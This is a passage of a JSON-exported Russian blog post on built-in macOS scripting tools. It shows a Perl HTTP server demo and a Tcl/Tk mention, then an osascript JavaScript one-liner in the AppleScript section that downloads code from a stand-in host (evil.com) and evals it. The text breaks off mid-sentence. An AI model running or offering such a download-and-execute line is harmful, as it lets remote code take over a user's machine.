=&gt; 30,     'listen-max-req-per-child' =&gt; 100, );  my $d = HTTP::Daemon-&gt;new(     LocalAddr =&gt; $O{'listen-host'},     LocalPort =&gt; $O{'listen-port'},     Reuse =&gt; 1, ) or die \"Can't start http listener at $O{'listen-host'}:$O{'listen-port'}\";  print \"Started HTTP listener at \" . $d-&gt;url . \"\\n\";  my %chld;  if ($O{'listen-clients'}) {     $SIG{CHLD} = sub {         # checkout finished children         while ((my $kid = waitpid(-1, WNOHANG)) &gt; 0) {             delete $chld{$kid};         }     }; }  while (1) {     if ($O{'listen-clients'}) {         # prefork all at once         for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {             my $pid = fork;              if (!defined $pid) { # error                 die \"Can't fork for http child $_: $!\";             }             if ($pid) { # parent                 $chld{$pid} = 1;             }             else { # child                 $_ = 'DEFAULT' for @SIG{qw\/ INT TERM CHLD \/};                 http_child($d);                 exit;             }         }          sleep 1;     }     else {         http_child($d);     }  }  sub http_child {     my $d = shift;      my $i;     my $css = &lt;&lt;CSS;         form { display: inline; } CSS      while (++$i &lt; $O{'listen-max-req-per-child'}) {         my $c = $d-&gt;accept or last;         my $r = $c-&gt;get_request(1) or last;         $c-&gt;autoflush(1);          print sprintf(\"[%s] %s %s\\n\", $c-&gt;peerhost, $r-&gt;method, $r-&gt;uri-&gt;as_string);          my %FORM = $r-&gt;uri-&gt;query_form();          if ($r-&gt;uri-&gt;path eq '\/') {             _http_response($c, { content_type =&gt; 'text\/html' },                 start_html(                     -title =&gt; HOSTNAME,                     -encoding =&gt; 'utf-8',                     -style =&gt; { -code =&gt; $css },                 ),                 p('Here are all input parameters:'),                 pre(Data::Dumper-&gt;Dump([\\%FORM],['FORM'])),                 (map { p(a({ href =&gt; $_-&gt;[0] }, $_-&gt;[1])) }                     ['\/', 'Home'],                     ['\/ping', 'Ping the simple text\/plain content'],                     ['\/error', 'Sample error page'],                     ['\/other', 'Sample not found page'],                 ),                 end_html(),             )         }         elsif ($r-&gt;uri-&gt;path eq '\/ping') {             _http_response($c, { content_type =&gt; 'text\/plain' }, 1);         }         elsif ($r-&gt;uri-&gt;path eq '\/error') {             my $error = 'AAAAAAAAA! My server error!';             _http_error($c, RC_INTERNAL_SERVER_ERROR, $error);             die $error;         }         else {             _http_error($c, RC_NOT_FOUND);         }          $c-&gt;close();         undef $c;     } }  sub _http_error {     my ($c, $code, $msg) = @_;      $c-&gt;send_error($code, $msg); }  sub _http_response {     my $c = shift;     my $options = shift;      $c-&gt;send_response(         HTTP::Response-&gt;new(             RC_OK,             undef,             [                 'Content-Type' =&gt; $options-&gt;{content_type},                 'Cache-Control' =&gt; 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',                 'Pragma' =&gt; 'no-cache',                 'Expires' =&gt; 'Thu, 01 Dec 1994 16:00:00 GMT',             ],             join(\"\\n\", @_),         )     ); }<\/code><\/pre>\n<p>\u0421\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0434\u0435\u0432\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0447\u0438\u0441\u0442\u043e\u0439 MacOS, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u0436\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u043e\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0445\u0432\u0430\u0442\u0438\u0442 \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <s>\u0438 \u0432\u043e\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435<\/s>.<\/p>\n<h3>Tcl \u0438 Tk<\/h3>\n<p>\u0414\u0435\u0434\u0443\u0448\u043a\u0430 <s>\u0438 \u0431\u0430\u0431\u0443\u0448\u043a\u0430<\/s> \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432, <a href=\"https:\/\/vanderburg.org\/old_pages\/Tcl\/war\/\" rel=\"noopener noreferrer nofollow\">\u043d\u0435\u043d\u0430\u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u043b\u0438\u0447\u043d\u043e \u0421\u0442\u043e\u043b\u043b\u043c\u0430\u043d\u043e\u043c<\/a> \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0443\u0441\u043f\u0435\u043b \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c <a href=\"https:\/\/teletype.in\/@alex0x08\/about-tcl-language\" rel=\"noopener noreferrer nofollow\">\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e<\/a>. <\/p>\n<p>\u0418\u0437\u00a0\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0434\u043b\u044f <s>\u043f\u0440\u043e\u043b\u0435\u0442\u0430\u0440\u0438\u0435\u0432 \u043e\u0442\u00a0\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438<\/s>, \u043d\u0435\u00a0\u0432\u043b\u0430\u0434\u0435\u044e\u0449\u0438\u0445 \u044d\u0442\u0438\u043c \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u044f\u0437\u044b\u043a\u043e\u043c, \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e\u00a0\u0432\u00a0MacOS \u043e\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u00ab\u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u00a0\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c\u00a0\u2014 \u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0430\u043b\u043e\u0433\u0438, \u043a\u043d\u043e\u043f\u043a\u0438, \u0441\u043f\u0438\u0441\u043a\u0438 \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435 <strong>\u0431\u0435\u0437\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438<\/strong>, \u0431\u0435\u0437\u00a0\u043a\u0430\u043a\u0438\u0445\u2011\u043b\u0438\u0431\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, SDK \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u0432.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 <a href=\"https:\/\/wiki.tcl-lang.org\/page\/A+little+calculator\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440<\/a>:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430: \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u0435\u0442\u044c\u044e, \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u044e\u043d\u0438\u043a\u043e\u0434\u043e\u043c \u0438 <a href=\"https:\/\/wiki.tcl-lang.org\/\" rel=\"noopener noreferrer nofollow\">\u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c<\/a>. \u041d\u043e \u044d\u0442\u043e \u0446\u0432\u0435\u0442\u043e\u0447\u043a\u0438, \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0438\u043c\u0431\u043e\u0439 \u0434\u043b\u044f \u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u0432\u0441\u044f\u043a\u043e\u0433\u043e \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0438 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0435\u0433\u043e.<\/p>\n<h3>AppleScript<\/h3>\n<p>\u041d\u0430\u0447\u043d\u0443 \u0441<a href=\"https:\/\/ru.wikipedia.org\/wiki\/AppleScript\" rel=\"noopener noreferrer nofollow\"> \u0446\u0438\u0442\u0430\u0442\u044b<\/a>:<\/p>\n<blockquote>\n<p><strong>AppleScript<\/strong> \u2014 \u044f\u0437\u044b\u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 <a href=\"https:\/\/ru.wikipedia.org\/wiki\/Apple\" rel=\"noopener noreferrer nofollow\">Apple<\/a> \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432 <a href=\"https:\/\/ru.wikipedia.org\/wiki\/MacOS\" rel=\"noopener noreferrer nofollow\">macOS<\/a>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 System 7.<\/p>\n<\/blockquote>\n<p>\u0418\u00a0\u043f\u0443\u0441\u0442\u044c \u0432\u0430\u0441 \u043d\u0435\u00a0\u0441\u043c\u0443\u0449\u0430\u044e\u0442 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439\u00bb \u0438\u00a0\u00ab\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\u00bb, \u044d\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430 \u0432\u00a0\u0443\u043c\u0435\u043b\u044b\u0445 \u0440\u0443\u043a\u0430\u0445.<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"bash\">osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https:\/\/evil.com\/evil')),$.NSUTF8StringEncoding )) );<\/code><\/pre>\n<p>\u0422\u0443\u0442 \u0432\u0441\u0435 \u0441\u0440\u0430\u0437\u0443 \u0445\u043e\u0440\u043e\u0448\u043e \u0434\u043b\u044f \u0437\u043d\u0430\u044e\u0449\u0438\u0445 \u0438\u00a0\u0432\u043b\u0430\u0434\u0435\u044e\u0449\u0438\u0445: <\/p>\n<blockquote>\n<p>\u0432\u00a0\u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0438\u00a0\u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441\u00a0\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u043e\u043c Javascript.<\/p>\n<\/blockquote>\n<p>osascript\u00a0\u2014 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440 \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 AppleScript, \u043a\u043b\u044e\u0447 -l \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 Javascript, -i \u044d\u0442\u043e interactive mode, \u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442.<\/p>\n<p>\u0410\u00a0<a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsstring\" rel=\"noopener noreferrer nofollow\">NSString<\/a>, <a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsdata\" rel=\"noopener noreferrer nofollow\">NSData<\/a> \u0438\u00a0<a href=\"https:\/\/developer.apple.com\/documentation\/foundation\/nsurl\" rel=\"noopener noreferrer nofollow\">NSURL<\/a>\u00a0\u2014 \u0443\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a <\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-430599","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/430599","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=430599"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/430599\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=430599"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=430599"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=430599"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}